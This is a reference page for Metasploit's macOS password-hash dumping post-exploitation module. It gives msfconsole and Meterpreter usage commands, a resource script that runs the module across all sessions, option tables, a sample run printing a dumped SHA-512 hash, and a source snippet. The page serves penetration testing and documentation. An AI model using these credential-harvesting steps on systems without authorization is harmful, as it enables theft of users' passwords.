OS X Gather Mac OS X Password Hash Collector - Metasploit

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Module Overview

Name: OS X Gather Mac OS X Password Hash Collector
Module: post/osx/gather/hashdump
Source code: modules/post/osx/gather/hashdump.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports versions 10.3 to 10.14.

Module Ranking and Traits

Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/osx/gather/hashdump

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/osx/gather/hashdump
msf post(hashdump) > show options
    ... show and set options ...
msf post(hashdump) > set SESSION session-id
msf post(hashdump) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:

framework.sessions.each_pair do |sid, session|
  run_single("use post/osx/gather/hashdump")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

• SESSION: The session to run this module on.

Knowledge Base

msf5 post(osx/gather/hashdump) > run

[-] Post aborted due to failure: bad-config: Insufficient Privileges: must be running as root to dump the hashes
[*] Post module execution completed

msf5 post(osx/gather/hashdump) > run

[*] Attempting to grab shadow for user nobody...
[*] Attempting to grab shadow for user h00die...
[+] SHA-512 PBKDF2:h00die:$ml$67012$52a3da29923ab1680ae7c28b40a3ba7c2386c679af0392011f706c4ec2a22475$5c935f59a173d25bd4ed5cf59464930153198ea28b70d1e4bb5fe5e39828bec8347419dc53f0f0d93f08399f30b56adcd0f9a6f6e834ba33cba58d6b35fd1021bd81e63edf2a5b2265d8c4b7908d9bcfe127cbcd3c2092d2ab58f1b7a16dc3e11e0d5a7b027c254f3f91fdeb5acc92bcf5a3cc033319f5209f635c0494854a2e
[*] Credential saved in database.
[*] Attempting to grab shadow for user root...
[*] Attempting to grab shadow for user daemon...
[*] Attempting to grab shadow for user nobody...
[*] Attempting to grab shadow for user root...
[*] Attempting to grab shadow for user daemon...
[*] Post module execution completed

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Msfconsole Usage

Here is how the osx/gather/hashdump post exploitation module looks in the msfconsole:

msf6 > use post/osx/gather/hashdump

msf6 post(osx/gather/hashdump) > show info

       Name: OS X Gather Mac OS X Password Hash Collector
     Module: post/osx/gather/hashdump
   Platform: OSX
       Arch: 
       Rank: Normal

Provided by:
  Carlos Perez <[email protected]>
  hammackj <[email protected]>
  joev <[email protected]>

Compatible session types:
  Shell

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  MATCHUSER                   no        Only attempt to grab hashes for users whose name matches this regex
  SESSION                     yes       The session to run this module on.

Description:
  This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports 
  versions 10.3 to 10.14.

Module Options

This is a complete list of options available in the osx/gather/hashdump post exploitation module:

msf6 post(osx/gather/hashdump) > show options

Module options (post/osx/gather/hashdump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   MATCHUSER                   no        Only attempt to grab hashes for users whose name matches this regex
   SESSION                     yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the osx/gather/hashdump post exploitation module:

msf6 post(osx/gather/hashdump) > show advanced

Module advanced options (post/osx/gather/hashdump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the osx/gather/hashdump module can do:

msf6 post(osx/gather/hashdump) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the osx/gather/hashdump post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(osx/gather/hashdump) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Insufficient Privileges: must be running as root to dump the hashes

Here is a relevant code snippet related to the "Insufficient Privileges: must be running as root to dump the hashes" error message:

38:	  end
39:	
40:	  # Run Method for when run command is issued
41:	  def run
42:	    unless is_root?
43:	      fail_with(Failure::BadConfig, 'Insufficient Privileges: must be running as root to dump the hashes')
44:	    end
45:	
46:	    # iterate over all users
47:	    get_nonsystem_accounts.each do |user_info|
48:	      user = user_info['name']

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Related Pull Requests

• #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
• #11906 Merged Pull Request: fix osx 10.7 hash IDing, and JTR ids
• #11733 Merged Pull Request: osx docs and cleanup
• #11335 Merged Pull Request: updating jtr formats in hashdumpers
• #10594 Merged Pull Request: hash_dump now working properly up to Mac OS X High Sierra (10.13.6 in…
• #10083 Merged Pull Request: Add Msf::Post::OSX::Priv mixin
• #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
• #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
• #6655 Merged Pull Request: use MetasploitModule as a class name
• #6648 Merged Pull Request: Change metasploit class names
• #5173 Merged Pull Request: fix fail_with errors
• #4372 Merged Pull Request: code style
• #2784 Merged Pull Request: Remove EOL whitespace from OS X hashdump
• #2735 Merged Pull Request: Refactor OSX hashdump post module and add support for 10.8+ hashes
• #2525 Merged Pull Request: Change module boilerplate

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See Also

Check also the following modules related to this module:

• post/osx/gather/apfs_encrypted_volume_passwd
• post/osx/gather/autologin_password
• post/osx/gather/enum_adium
• post/osx/gather/enum_airport
• post/osx/gather/enum_chicken_vnc_profile
• post/osx/gather/enum_colloquy
• post/osx/gather/enum_keychain
• post/osx/gather/enum_messages
• post/osx/gather/enum_osx
• post/osx/gather/gitignore
• post/osx/gather/password_prompt_spoof
• post/osx/gather/safari_lastsession
• post/osx/gather/vnc_password_osx

Authors

• Carlos Perez <carlos_perez[at]darkoperator.com>
• hammackj <jacob.hammack[at]hammackj.com>
• joev

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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